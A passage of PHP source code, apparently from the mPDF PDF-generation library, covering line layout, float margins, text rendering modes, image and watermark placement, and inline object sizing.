$this->blk[$this->blklvl]['y0'] = $this->y; $this->blk[$this->blklvl]['startpage'] = $this->page; if ($this->blk[$this->blklvl]['float']) { $this->blk[$this->blklvl]['float_start_y'] = $this->y; } } // TOP PADDING and BORDER spacing/fill if (($newblock) && ($blockstate == 1 || $blockstate == 3) && (($this->blk[$this->blklvl]['padding_top']) || ($this->blk[$this->blklvl]['border_top'])) && ($lineCount == 1) && (!$is_table)) { // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom $this->DivLn($this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w'], -3, true, false, 1); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } $arraysize = count($chunkorder); $margins = ($this->cMarginL + $this->cMarginR) + ($ipaddingL + $ipaddingR + $fpaddingR + $fpaddingR ); // PAINT BACKGROUND FOR THIS LINE if (!$is_table) { $this->DivLn($stackHeight, $this->blklvl, false); } // false -> don't advance y $this->x = $currentx + $this->cMarginL + $ipaddingL + $fpaddingL; if ($align == 'R') { $this->x += $empty; } elseif ($align == 'C') { $this->x += ($empty / 2); } // Paragraph INDENT if (isset($this->blk[$this->blklvl]['text_indent']) && ($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 1) && (!$is_table) && ($blockdir != 'rtl') && ($align != 'C')) { $ti = $this->sizeConverter->convert($this->blk[$this->blklvl]['text_indent'], $this->blk[$this->blklvl]['inner_width'], $this->blk[$this->blklvl]['InlineProperties']['size'], false); // mPDF 5.7.4 $this->x += $ti; } // BIDI magic_reverse moved upwards from here foreach ($chunkorder as $aord => $k) { // mPDF 5.7 $chunk = isset($content[$aord]) ? $content[$aord] : ''; if (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]) { $xadj = $this->x - $this->objectbuffer[$k]['OUTER-X']; $this->objectbuffer[$k]['OUTER-X'] += $xadj; $this->objectbuffer[$k]['BORDER-X'] += $xadj; $this->objectbuffer[$k]['INNER-X'] += $xadj; if ($this->objectbuffer[$k]['type'] == 'listmarker') { $this->objectbuffer[$k]['lineBox'] = $lineBox[-1]; // Block element details for glyph-origin } $yadj = $this->y - $this->objectbuffer[$k]['OUTER-Y']; if ($this->objectbuffer[$k]['type'] == 'dottab') { // mPDF 6 DOTTAB $this->objectbuffer[$k]['lineBox'] = $lineBox[$k]; // element details for glyph-origin } if ($this->objectbuffer[$k]['type'] != 'dottab') { // mPDF 6 DOTTAB $yadj += $lineBox[$k]['top']; } $this->objectbuffer[$k]['OUTER-Y'] += $yadj; $this->objectbuffer[$k]['BORDER-Y'] += $yadj; $this->objectbuffer[$k]['INNER-Y'] += $yadj; } $this->restoreFont($font[$k]); // mPDF 5.7 $this->SetSpacing(($this->fixedlSpacing * Mpdf::SCALE) + $jcharspacing, ($this->fixedlSpacing + $this->minwSpacing) * Mpdf::SCALE + $jws); // Now unset these values so they don't influence GetStringwidth below or in fn. Cell $this->fixedlSpacing = false; $this->minwSpacing = 0; $save_vis = $this->visibility; if (isset($this->textparam['visibility']) && $this->textparam['visibility'] && $this->textparam['visibility'] != $this->visibility) { $this->SetVisibility($this->textparam['visibility']); } // *********** SPAN BACKGROUND COLOR ***************** // if ($this->spanbgcolor) { $cor = $this->spanbgcolorarray; $this->SetFColor($cor); $save_fill = $fill; $spanfill = 1; $fill = 1; } if (!empty($this->spanborddet)) { if (strpos($contentB[$k], 'L') !== false) { $this->x += (isset($this->spanborddet['L']['w']) ? $this->spanborddet['L']['w'] : 0); } if (strpos($contentB[$k], 'L') === false) { $this->spanborddet['L']['s'] = $this->spanborddet['L']['w'] = 0; } if (strpos($contentB[$k], 'R') === false) { $this->spanborddet['R']['s'] = $this->spanborddet['R']['w'] = 0; } } // WORD SPACING // StringWidth this time includes any kashida spacing $stringWidth = $this->GetStringWidth($chunk, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, true); $nch = mb_strlen($chunk, $this->mb_enc); // Use GPOS OTL if (isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF)) { if (isset($cOTLdata[$aord]['group']) && $cOTLdata[$aord]['group']) { $nch -= substr_count($cOTLdata[$aord]['group'], 'M'); } } $stringWidth += ( $this->charspacing * $nch / Mpdf::SCALE ); $stringWidth += ( $this->ws * mb_substr_count($chunk, ' ', $this->mb_enc) / Mpdf::SCALE ); if (isset($this->objectbuffer[$k])) { // LIST MARKERS // mPDF 6 Lists if ($this->objectbuffer[$k]['type'] == 'image' && isset($this->objectbuffer[$k]['listmarker']) && $this->objectbuffer[$k]['listmarker'] && $this->objectbuffer[$k]['listmarkerposition'] == 'outside') { $stringWidth = 0; } else { $stringWidth = $this->objectbuffer[$k]['OUTER-WIDTH']; } } if ($stringWidth == 0) { $stringWidth = 0.000001; } if ($aord == $arraysize - 1) { $stringWidth -= ( $this->charspacing / Mpdf::SCALE ); if ($this->checkCJK && $CJKoverflow && $align == 'J' && $this->allowCJKoverflow && $hanger && $this->CJKforceend) { // force-end overhang $this->Cell($stringWidth, $stackHeight, $chunk, '', 0, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); $this->Cell($this->GetStringWidth($hanger), $stackHeight, $hanger, '', 1, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); } else { $this->Cell($stringWidth, $stackHeight, $chunk, '', 1, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // mono-style line or last part (skips line) } } else { $this->Cell($stringWidth, $stackHeight, $chunk, '', 0, '', $fill, $this->HREF, 0, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // first or middle part } if (!empty($this->spanborddet)) { if (strpos($contentB[$k], 'R') !== false && $aord != $arraysize - 1) { $this->x += $this->spanborddet['R']['w']; } } // *********** SPAN BACKGROUND COLOR OFF - RESET BLOCK BGCOLOR ***************** // if (isset($spanfill) && $spanfill) { $fill = $save_fill; $spanfill = 0; if ($fill) { $this->SetFColor($bcor); } } if (isset($this->textparam['visibility']) && $this->textparam['visibility'] && $this->visibility != $save_vis) { $this->SetVisibility($save_vis); } } } elseif ($table_draft) { $this->y += $stackHeight; } if (!$is_table) { $this->maxPosR = max($this->maxPosR, ($this->w - $this->rMargin - $this->blk[$this->blklvl]['outer_right_margin'])); $this->maxPosL = min($this->maxPosL, ($this->lMargin + $this->blk[$this->blklvl]['outer_left_margin'])); } // move on to the next line, reset variables, tack on saved content and current char if (!$table_draft) { $this->printobjectbuffer($is_table, $blockdir); } $this->objectbuffer = []; /* -- CSS-IMAGE-FLOAT -- */ // Update values if set to skipline if ($this->floatmargins) { $this->_advanceFloatMargins(); } /* -- END CSS-IMAGE-FLOAT -- */ // Reset lineheight $stackHeight = $this->divheight; $valign = 'M'; $font = []; $content = []; $contentB = []; $cOTLdata = []; // mPDF 5.7.1 $contentWidth = 0; if (!empty($savedObj)) { $this->objectbuffer[] = $savedObj; $font[] = $savedFont; $content[] = ''; $contentB[] = ''; $cOTLdata[] = []; // mPDF 5.7.1 $contentWidth += $savedObj['OUTER-WIDTH'] * Mpdf::SCALE; } if (count($savedPreContent) > 0) { for ($ix = count($savedPreContent) - 1; $ix >= 0; $ix--) { $font[] = $savedPreFont[$ix]; $content[] = $savedPreContent[$ix]; $contentB[] = $savedPreContentB[$ix]; if (!empty($sOTLdata)) { $cOTLdata[] = $savedPreOTLdata[$ix]; } $this->restoreFont($savedPreFont[$ix]); $lbw = $rbw = 0; // Border widths if (!empty($this->spanborddet)) { $lbw = (isset($this->spanborddet['L']['w']) ? $this->spanborddet['L']['w'] : 0); $rbw = (isset($this->spanborddet['R']['w']) ? $this->spanborddet['R']['w'] : 0); } if ($ix > 0) { $contentWidth += $this->GetStringWidth($savedPreContent[$ix], true, (isset($savedPreOTLdata[$ix]) ? $savedPreOTLdata[$ix] : false), $this->textvar) * Mpdf::SCALE; // mPDF 5.7.1 if (strpos($savedPreContentB[$ix], 'L') !== false) { $contentWidth += $lbw; } if (strpos($savedPreContentB[$ix], 'R') !== false) { $contentWidth += $rbw; } } } $savedPreContent = []; $savedPreContentB = []; $savedPreOTLdata = []; // mPDF 5.7.1 $savedPreFont = []; $content[(count($content) - 1)] .= $c; } else { $font[] = $savedFont; $content[] = $savedContent . $c; $contentB[] = $savedContentB; $cOTLdata[] = $savedOTLdata; // mPDF 5.7.1 } $currContent = & $content[(count($content) - 1)]; $this->restoreFont($font[(count($font) - 1)]); // mPDF 6.0 /* -- CJK-FONTS -- */ // CJK - strip CJK space at start of line //   = \xe3\x80\x80 = CJK space if ($this->checkCJK && $currContent == "\xe3\x80\x80") { $currContent = ''; if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $this->otl->trimOTLdata($cOTLdata[count($cOTLdata) - 1], true, false); // left trim U+3000 } } /* -- END CJK-FONTS -- */ $lbw = $rbw = 0; // Border widths if (!empty($this->spanborddet)) { $lbw = (isset($this->spanborddet['L']['w']) ? $this->spanborddet['L']['w'] : 0); $rbw = (isset($this->spanborddet['R']['w']) ? $this->spanborddet['R']['w'] : 0); } $contentWidth += $this->GetStringWidth($currContent, false, (isset($cOTLdata[(count($cOTLdata) - 1)]) ? $cOTLdata[(count($cOTLdata) - 1)] : false), $this->textvar) * Mpdf::SCALE; // mPDF 5.7.1 if (strpos($savedContentB, 'L') !== false) { $contentWidth += $lbw; } $CJKoverflow = false; $hanger = ''; } // another character will fit, so add it on else { $contentWidth += $cw; $currContent .= $c; } } unset($content); unset($contentB); } // ----------------------END OF FLOWING BLOCK------------------------------------// /* -- CSS-IMAGE-FLOAT -- */ // Update values if set to skipline function _advanceFloatMargins() { // Update floatmargins - L if (isset($this->floatmargins['L']) && $this->floatmargins['L']['skipline'] && $this->floatmargins['L']['y0'] != $this->y) { $yadj = $this->y - $this->floatmargins['L']['y0']; $this->floatmargins['L']['y0'] = $this->y; $this->floatmargins['L']['y1'] += $yadj; // Update objattr in floatbuffer if ($this->floatbuffer[$this->floatmargins['L']['id']]['border_left']['w']) { $this->floatbuffer[$this->floatmargins['L']['id']]['BORDER-Y'] += $yadj; } $this->floatbuffer[$this->floatmargins['L']['id']]['INNER-Y'] += $yadj; $this->floatbuffer[$this->floatmargins['L']['id']]['OUTER-Y'] += $yadj; // Unset values $this->floatbuffer[$this->floatmargins['L']['id']]['skipline'] = false; $this->floatmargins['L']['skipline'] = false; $this->floatmargins['L']['id'] = ''; } // Update floatmargins - R if (isset($this->floatmargins['R']) && $this->floatmargins['R']['skipline'] && $this->floatmargins['R']['y0'] != $this->y) { $yadj = $this->y - $this->floatmargins['R']['y0']; $this->floatmargins['R']['y0'] = $this->y; $this->floatmargins['R']['y1'] += $yadj; // Update objattr in floatbuffer if ($this->floatbuffer[$this->floatmargins['R']['id']]['border_left']['w']) { $this->floatbuffer[$this->floatmargins['R']['id']]['BORDER-Y'] += $yadj; } $this->floatbuffer[$this->floatmargins['R']['id']]['INNER-Y'] += $yadj; $this->floatbuffer[$this->floatmargins['R']['id']]['OUTER-Y'] += $yadj; // Unset values $this->floatbuffer[$this->floatmargins['R']['id']]['skipline'] = false; $this->floatmargins['R']['skipline'] = false; $this->floatmargins['R']['id'] = ''; } } /* -- END CSS-IMAGE-FLOAT -- */ /* -- END HTML-CSS -- */ function _SetTextRendering($mode) { if (!(($mode == 0) || ($mode == 1) || ($mode == 2))) { throw new \Mpdf\MpdfException("Text rendering mode should be 0, 1 or 2 (value : $mode)"); } $tr = ($mode . ' Tr'); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['TextRendering']) && $this->pageoutput[$this->page]['TextRendering'] != $tr) || !isset($this->pageoutput[$this->page]['TextRendering']))) { $this->writer->write($tr); } $this->pageoutput[$this->page]['TextRendering'] = $tr; } function SetTextOutline($params = []) { if (isset($params['outline-s']) && $params['outline-s']) { $this->SetLineWidth($params['outline-WIDTH']); $this->SetDColor($params['outline-COLOR']); $tr = ('2 Tr'); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['TextRendering']) && $this->pageoutput[$this->page]['TextRendering'] != $tr) || !isset($this->pageoutput[$this->page]['TextRendering']))) { $this->writer->write($tr); } $this->pageoutput[$this->page]['TextRendering'] = $tr; } else { // Now resets all values $this->SetLineWidth(0.2); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->_SetTextRendering(0); $tr = ('0 Tr'); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['TextRendering']) && $this->pageoutput[$this->page]['TextRendering'] != $tr) || !isset($this->pageoutput[$this->page]['TextRendering']))) { $this->writer->write($tr); } $this->pageoutput[$this->page]['TextRendering'] = $tr; } } function Image($file, $x, $y, $w = 0, $h = 0, $type = '', $link = '', $paint = true, $constrain = true, $watermark = false, $shownoimg = true, $allowvector = true) { $orig_srcpath = $file; $this->GetFullPath($file); $info = $this->imageProcessor->getImage($file, true, $allowvector, $orig_srcpath); if (!$info && $paint) { $info = $this->imageProcessor->getImage($this->noImageFile); if ($info) { $file = $this->noImageFile; $w = ($info['w'] * (25.4 / $this->img_dpi)); // 14 x 16px $h = ($info['h'] * (25.4 / $this->img_dpi)); // 14 x 16px } } if (!$info) { return false; } // Automatic width and height calculation if needed if ($w == 0 and $h == 0) { /* -- IMAGES-WMF -- */ if ($info['type'] == 'wmf') { // WMF units are twips (1/20pt) // divide by 20 to get points // divide by k to get user units $w = abs($info['w']) / (20 * Mpdf::SCALE); $h = abs($info['h']) / (20 * Mpdf::SCALE); } else { /* -- END IMAGES-WMF -- */ if ($info['type'] == 'svg') { // returned SVG units are pts // divide by k to get user units (mm) $w = abs($info['w']) / Mpdf::SCALE; $h = abs($info['h']) / Mpdf::SCALE; } else { // Put image at default image dpi $w = ($info['w'] / Mpdf::SCALE) * (72 / $this->img_dpi); $h = ($info['h'] / Mpdf::SCALE) * (72 / $this->img_dpi); } } } if ($w == 0) { $w = abs($h * $info['w'] / $info['h']); } if ($h == 0) { $h = abs($w * $info['h'] / $info['w']); } /* -- WATERMARK -- */ if ($watermark) { $maxw = $this->w; $maxh = $this->h; // Size = D PF or array if (is_array($this->watermark_size)) { $w = $this->watermark_size[0]; $h = $this->watermark_size[1]; } elseif (!is_string($this->watermark_size)) { $maxw -= $this->watermark_size * 2; $maxh -= $this->watermark_size * 2; $w = $maxw; $h = abs($w * $info['h'] / $info['w']); if ($h > $maxh) { $h = $maxh; $w = abs($h * $info['w'] / $info['h']); } } elseif ($this->watermark_size == 'F') { if ($this->ColActive) { $maxw = $this->w - ($this->DeflMargin + $this->DefrMargin); } else { $maxw = $this->pgwidth; } $maxh = $this->h - ($this->tMargin + $this->bMargin); $w = $maxw; $h = abs($w * $info['h'] / $info['w']); if ($h > $maxh) { $h = $maxh; $w = abs($h * $info['w'] / $info['h']); } } elseif ($this->watermark_size == 'P') { // Default P $w = $maxw; $h = abs($w * $info['h'] / $info['w']); if ($h > $maxh) { $h = $maxh; $w = abs($h * $info['w'] / $info['h']); } } // Automatically resize to maximum dimensions of page if too large if ($w > $maxw) { $w = $maxw; $h = abs($w * $info['h'] / $info['w']); } if ($h > $maxh) { $h = $maxh; $w = abs($h * $info['w'] / $info['h']); } // Position if (is_array($this->watermark_pos)) { $x = $this->watermark_pos[0]; $y = $this->watermark_pos[1]; } elseif ($this->watermark_pos == 'F') { // centred on printable area if ($this->ColActive) { // *COLUMNS* if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { $xadj = $this->DeflMargin - $this->DefrMargin; } // *COLUMNS* else { $xadj = 0; } // *COLUMNS* $x = ($this->DeflMargin - $xadj + ($this->w - ($this->DeflMargin + $this->DefrMargin)) / 2) - ($w / 2); // *COLUMNS* } // *COLUMNS* else { // *COLUMNS* $x = ($this->lMargin + ($this->pgwidth) / 2) - ($w / 2); } // *COLUMNS* $y = ($this->tMargin + ($this->h - ($this->tMargin + $this->bMargin)) / 2) - ($h / 2); } else { // default P - centred on whole page $x = ($this->w / 2) - ($w / 2); $y = ($this->h / 2) - ($h / 2); } /* -- IMAGES-WMF -- */ if ($info['type'] == 'wmf') { $sx = $w * Mpdf::SCALE / $info['w']; $sy = -$h * Mpdf::SCALE / $info['h']; $outstring = sprintf('q %.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, $sy, $x * Mpdf::SCALE - $sx * $info['x'], (($this->h - $y) * Mpdf::SCALE) - $sy * $info['y'], $info['i']); } else { /* -- END IMAGES-WMF -- */ if ($info['type'] == 'svg') { $sx = $w * Mpdf::SCALE / $info['w']; $sy = -$h * Mpdf::SCALE / $info['h']; $outstring = sprintf('q %.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, $sy, $x * Mpdf::SCALE - $sx * $info['x'], (($this->h - $y) * Mpdf::SCALE) - $sy * $info['y'], $info['i']); } else { $outstring = sprintf("q %.3F 0 0 %.3F %.3F %.3F cm /I%d Do Q", $w * Mpdf::SCALE, $h * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->h - ($y + $h)) * Mpdf::SCALE, $info['i']); } } if ($this->watermarkImgBehind) { $outstring = $this->watermarkImgAlpha . "\n" . $outstring . "\n" . $this->SetAlpha(1, 'Normal', true) . "\n"; $this->pages[$this->page] = preg_replace('/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/', "\n" . $outstring . "\n" . '\\1', $this->pages[$this->page]); } else { $this->writer->write($outstring); } return 0; } // end of IF watermark /* -- END WATERMARK -- */ if ($constrain) { // Automatically resize to maximum dimensions of page if too large if (isset($this->blk[$this->blklvl]['inner_width']) && $this->blk[$this->blklvl]['inner_width']) { $maxw = $this->blk[$this->blklvl]['inner_width']; } else { $maxw = $this->pgwidth; } if ($w > $maxw) { $w = $maxw; $h = abs($w * $info['h'] / $info['w']); } if ($h > $this->h - ($this->tMargin + $this->bMargin + 1)) { // see below - +10 to avoid drawing too close to border of page $h = $this->h - ($this->tMargin + $this->bMargin + 1); if ($this->fullImageHeight) { $h = $this->fullImageHeight; } $w = abs($h * $info['w'] / $info['h']); } // Avoid drawing out of the paper(exceeding width limits). // if ( ($x + $w) > $this->fw ) { if (($x + $w) > $this->w) { $x = $this->lMargin; $y += 5; } $changedpage = false; $oldcolumn = $this->CurrCol; // Avoid drawing out of the page. if ($y + $h > $this->PageBreakTrigger and ! $this->InFooter and $this->AcceptPageBreak()) { $this->AddPage($this->CurOrientation); // Added to correct for OddEven Margins $x = $x + $this->MarginCorrection; $y = $this->tMargin; // mPDF 5.7.3 $changedpage = true; } /* -- COLUMNS -- */ // COLS // COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { $y = $this->y0; $x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $this->x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); } /* -- END COLUMNS -- */ } // end of IF constrain /* -- IMAGES-WMF -- */ if ($info['type'] == 'wmf') { $sx = $w * Mpdf::SCALE / $info['w']; $sy = -$h * Mpdf::SCALE / $info['h']; $outstring = sprintf('q %.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, $sy, $x * Mpdf::SCALE - $sx * $info['x'], (($this->h - $y) * Mpdf::SCALE) - $sy * $info['y'], $info['i']); } else { /* -- END IMAGES-WMF -- */ if ($info['type'] == 'svg') { $sx = $w * Mpdf::SCALE / $info['w']; $sy = -$h * Mpdf::SCALE / $info['h']; $outstring = sprintf('q %.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, $sy, $x * Mpdf::SCALE - $sx * $info['x'], (($this->h - $y) * Mpdf::SCALE) - $sy * $info['y'], $info['i']); } else { $outstring = sprintf("q %.3F 0 0 %.3F %.3F %.3F cm /I%d Do Q", $w * Mpdf::SCALE, $h * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->h - ($y + $h)) * Mpdf::SCALE, $info['i']); } } if ($paint) { $this->writer->write($outstring); if ($link) { $this->Link($x, $y, $w, $h, $link); } // Avoid writing text on top of the image. // THIS WAS OUTSIDE THE if ($paint) bit!!!!!!!!!!!!!!!! $this->y = $y + $h; } // Return width-height array $sizesarray['WIDTH'] = $w; $sizesarray['HEIGHT'] = $h; $sizesarray['X'] = $x; // Position before painting image $sizesarray['Y'] = $y; // Position before painting image $sizesarray['OUTPUT'] = $outstring; $sizesarray['IMAGE_ID'] = $info['i']; $sizesarray['itype'] = $info['type']; $sizesarray['set-dpi'] = (isset($info['set-dpi']) ? $info['set-dpi'] : 0); return $sizesarray; } // ============================================================= // ============================================================= // ============================================================= // ============================================================= // ============================================================= /* -- HTML-CSS -- */ function _getObjAttr($t) { $c = explode("\xbb\xa4\xac", $t, 2); $c = explode(",", $c[1], 2); foreach ($c as $v) { $v = explode("=", $v, 2); $sp[$v[0]] = $v[1]; } return (unserialize($sp['objattr'])); } function inlineObject($type, $x, $y, $objattr, $Lmargin, $widthUsed, $maxWidth, $lineHeight, $paint = false, $is_table = false) { if ($is_table) { $k = $this->shrin_k; } else { $k = 1; } // NB $x is only used when paint=true // Lmargin not used $w = 0; if (isset($objattr['width'])) { $w = $objattr['width'] / $k; } $h = 0; if (isset($objattr['height'])) { $h = abs($objattr['height'] / $k); } $widthLeft = $maxWidth - $widthUsed; $maxHeight = $this->h - ($this->tMargin + $this->bMargin + 10); if ($this->fullImageHeight) { $maxHeight = $this->fullImageHeight; } // For Images if (isset($objattr['border_left'])) { $extraWidth = ($objattr['border_left']['w'] + $objattr['border_right']['w'] + $objattr['margin_left'] + $objattr['margin_right']) / $k; $extraHeight = ($objattr['border_top']['w'] + $objattr['border_bottom']['w'] + $objattr['margin_top'] + $objattr['margin_bottom']) / $k; if ($type == 'image' || $type == 'barcode' || $type == 'textcircle') { $extraWidth += ($objattr['padding_left'] + $objattr['padding_right']) / $k; $extraHeight += ($objattr['padding_top'] + $objattr['padding_bottom']) / $k; } } if (!isset($objattr['vertical-align'])) { if ($objattr['type'] == 'select') { $objattr['vertical-align'] = 'M'; } else { $objattr['vertical-align'] = 'BS'; } } // mPDF 6 if ($type == 'image' || (isset($objattr['subtype']) && $objattr['subtype'] == 'IMAGE')) { if (isset($objattr['itype']) && ($objattr['itype'] == 'wmf' || $objattr['itype'] == 'svg')) { $file = $objattr['file']; $info = $this->formobjects[$file]; } elseif (isset($objattr['file'])) { $file = $objattr['file']; $info = $this->images[$file]; } } if ($type == 'annot' || $type == 'bookmark' || $type == 'indexentry' || $type == 'toc') { $w = 0.00001; $h = 0.00001; } // TEST whether need to skipline if (!$paint) { if ($type == 'hr') { // always force new line if (($y + $h + $lineHeight > $this->PageBreakTrigger) && !$this->InFooter && !$is_table) { return [-2, $w, $h]; } // New page + new line else { return [1, $w, $h]; } // new line } else { // LIST MARKERS // mPDF 6 Lists $displayheight = $h; $displaywidth = $w; if ($objattr['type'] == 'image' && isset($objattr['listmarker']) && $objattr['listmarker']) { $displayheight = 0; if ($objattr['listmarkerposition'] == 'outside') { $displaywidth = 0; } } if ($widthUsed > 0 && $displaywidth > $widthLeft && (!$is_table || $type != 'image')) { // New line needed // mPDF 6 Lists if (($y + $displayheight + $lineHeight > $this->PageBreakTrigger) && !$this->InFooter) { return [-2, $w, $h]; } // New page + new line return [1, $w, $h]; // new line } elseif ($widthUsed > 0 && $displaywidth > $widthLeft && $is_table) { // New line needed in TABLE return [1, $w, $h]; // new line } // Will fit on line but NEW PAGE REQUIRED elseif (($y + $displayheight > $this->PageBreakTrigger) && !$this->InFooter && !$is_table) { return [-1, $w, $h]; } // mPDF 6 Lists else { return [0, $w, $h]; } } } if ($type == 'annot' || $type == 'bookmark' || $type == 'indexentry' || $type == 'toc') { $w = 0.00001; $h = 0.00001; $objattr['BORDER-WIDTH'] = 0; $objattr['BORDER-HEIGHT'] = 0; $objattr['BORDER-X'] = $x; $objattr['BORDER-Y'] = $y; $objattr['INNER-WIDTH'] = 0; $objattr['INNER-HEIGHT'] = 0; $objattr['INNER-X'] = $x; $objattr['INNER-Y'] = $y; } if ($type == 'image') { // Automatically resize to width remaining if ($w > ($widthLeft + 0.0001) && !$is_table) { // mPDF 5.7.4 0.0001 to allow for rounding errors when w==maxWidth $w = $widthLeft; $h = abs($w * $info['h'] / $info['w']); } $img_w = $w - $extraWidth; $img_h = $h - $extraHeight; $objattr['BORDER-WIDTH'] = $img_w + $objattr['padding_left'] / $k + $objattr['padding_right'] / $k + (($objattr['border_left']['w'] / $k + $objattr['border_right']['w'] / $k) / 2); $objattr['BORDER-HEIGHT'] = $img_h + $objattr['padding_top'] / $k + $objattr['padding_bottom'] / $k + (($objattr['border_top']['w'] / $k + $objattr['border_bottom']['w'] / $k) / 2); $objattr['BORDER-X'] = $x + $objattr['margin_left'] / $k + (($objattr['border_left']['w'] / $k) / 2); $objattr['BORDER-Y'] = $y + $objattr['margin_top'] / $k + (($objattr['border_top']['w'] / $k) / 2); $objattr['INNER-WIDTH'] = $img_w; $objattr['INNER-HEIGHT'] = $img_h; $objattr['INNER-X'] = $x + $objattr['padding_left'] / $k + $objattr['margin_left'] / $k + ($objattr['border_left']['w'] / $k); $objattr['INNER-Y'] = $y + $objattr['padding_top'] / $k + $objattr['margin_top'] / $k + ($objattr['border_top']['w'] / $k); $objattr['ID'] = $info['i']; } if ($type == 'input' && $objattr['subtype'] == 'IMAGE') { $img_w = $w - $extraWidth; $img_h = $h - $extraHeight; $objattr['BORDER-WIDTH'] = $img_w + (($objattr['border_left']['w'] / $k + $objattr['border_right']['w'] / $k) / 2); $objattr['BORDER-HEIGHT'] = $img_h + (($objattr['border_top']['w'] / $k + $objattr['border_bottom']['w'] / $k) / 2); $objattr['BORDER-X'] = $x + $objattr['margin_left'] / $k + (($objattr['border_left']['w'] / $k) / 2); $objattr['BORDER-Y'] = $y + $objattr['margin_top'] / $k + (($objattr['border_top']['w'] / $k) / 2); $objattr['INNER-WIDTH'] = $img_w; $objattr['INNER-HEIGHT'] = $img_h; $objattr['INNER-X'] = $x + $objattr['margin_left'] / $k + ($objattr['border_left']['w'] / $k); $objattr['INNER-Y'] = $y + $objattr['margin_top'] / $k + ($objattr['border_top']['w'] / $k); $objattr['ID'] = $info['i']; } if ($type == 'barcode' || $type == 'textcircle') { $b_w = $w - $extraWidth; $b_h = $h - $extraHeight; $objattr['BORDER-WIDTH'] = $b_w + $objattr['padding_left'] / $k + $objattr['padding_right'] / $k + (($objattr['border_left']['w'] / $k + $objattr['border_right']['w'] / $k) / 2); $objattr['BORDER-HEIGHT'] = $b_h + $objattr['padding_top'] / $k + $objattr['padding_bottom'] / $k + (($objattr['border_top']['w'] / $k + $objattr['border_bottom']['w'] / $k) / 2); $objattr['BORDER-X'] = $x + $objattr['margin_left'] / $k + (($objattr['border_left']['w'] / $k) / 2); $objattr['BORDER-Y'] = $y + $objattr['margin_top'] / $k + (($objattr['border_top']['w'] / $k) / 2); $objattr['INNER-X'] = $x + $objattr['padding_left'] / $k + $objattr['margin_left'] / $k + ($objattr['border_left']['w'] / $k); $objattr['INNER-Y'] = $y + $objattr['padding_top'] / $k + $objattr['margin_top'] / $k + ($objattr['border_top']['w'] / $k); $objattr['INNER-WIDTH'] = $b_w; $objattr['INNER-HEIGHT'] = $b_h; } if ($type == 'textarea') { // Automatically resize to width remaining if ($w > $widthLeft && !$is_table) { $w = $widthLeft; } // This used to resize height to maximum remaining on page ? why. Causes problems when in table and causing a new column // if (($y + $h > $this->PageBreakTrigger) && !$this->InFooter) { // $h=$this->h - $y - $this->bMargin; // } } if ($type == 'hr') { if ($is_table) { $objattr['INNER-WIDTH'] = $maxWidth * $objattr['W-PERCENT'] / 100; $objattr['width'] = $objattr['INNER-WIDTH']; $w = $maxWidth; } else { if ($w > $maxWidth) { $w = $maxWidth; } $objattr['INNER-WIDTH'] = $w; $w = $maxWidth; } } if (($type == 'select') || ($type == 'input' && ($objattr['subtype'] == 'TEXT' || $objattr['subtype'] == 'PASSWORD'))) { // Automatically resize to width remaining if ($w > $widthLeft && !$is_table) { $w = $widthLeft; } } if ($type == 'textarea' || $type == 'select' || $type == 'input') { if (isset($objattr['fontsize'])) { $objattr['fontsize'] /= $k; } if (isset($objattr['linewidth'])) { $objattr['linewidth'] /= $k; } } if (!isset($objattr['BORDER-Y'])) { $objattr['BORDER-Y'] = 0; } if (!isset($objattr['BORDER-X'])) { $objattr['BORDER-X'] = 0; } if (!isset($objattr['INNER-Y'])) { $objattr['INNER-Y'] = 0; } if (!isset($objattr['INNER-X'])) { $objattr['INNER-X'] = 0; } // Return width-height array $objattr['OUTER-WIDTH'] = $w; $objattr['OUTER-HEIGHT'] = $h; $objattr['OUTER-X'] = $x; $objattr['OUTER-Y'] = $y; return $objattr; } /* -- END HTML-CSS -- */ // ============================================================= // ============================================================= // ============================================================= // ============================================================= // ============================================================= function SetLineJoin($mode = 0) { $s = sprintf('%d j', $mode); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['LineJoin']) && $this->pageoutput[$this->page]['LineJoin'] != $s) || !isset($this->pageoutput[$this->page]['LineJoin']))) { $this->writer->write($s); } $this->pageoutput[$this->page]['LineJoin'] = $s; } function SetLineCap($mode = 2) { $s = sprintf('%d J', $mode); if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['LineCap']) && $this->pageoutput[$this->page]['LineCap'] != $s) || !isset($this->pageoutput[$this->page]['LineCap']))) { 